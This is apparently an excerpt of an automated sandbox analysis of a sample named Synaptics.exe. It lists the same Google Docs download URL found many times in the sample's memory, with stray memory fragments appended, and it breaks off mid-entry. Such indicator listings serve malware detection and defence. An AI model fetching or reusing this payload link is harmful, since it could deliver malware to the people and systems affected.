Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOS
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPPKB/
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPa
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPolicl
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ9e
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQG
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQOX
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQU
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQz
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRe
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRoami
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSe
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSec-
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSecur
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSecurity-Policy:
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSetV
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT.
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTl
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTsItP
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUHVUG
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUn
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUpXz_
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW2
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWQ
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWZAPQ
Source: Synaptics.exe, 00000003.00000002.2469493655.0000000009CBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXL
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY)-
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYFBOL
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYFBOL%
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ((
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZU
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_33
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_R
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaA
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaFile
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaN
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadalAl
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadate
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcPv
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcale=
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadccep
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceV1
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell
Source: Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellQ
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.ne
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom.
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctin
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcu
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcumen
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcumenS6k
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcumenf
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd1
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddServ%
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeAll
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeCha
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadea
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeasu
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectin
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectinJ
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelN3U
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem8
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemC
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoV7n
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoe
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyor...
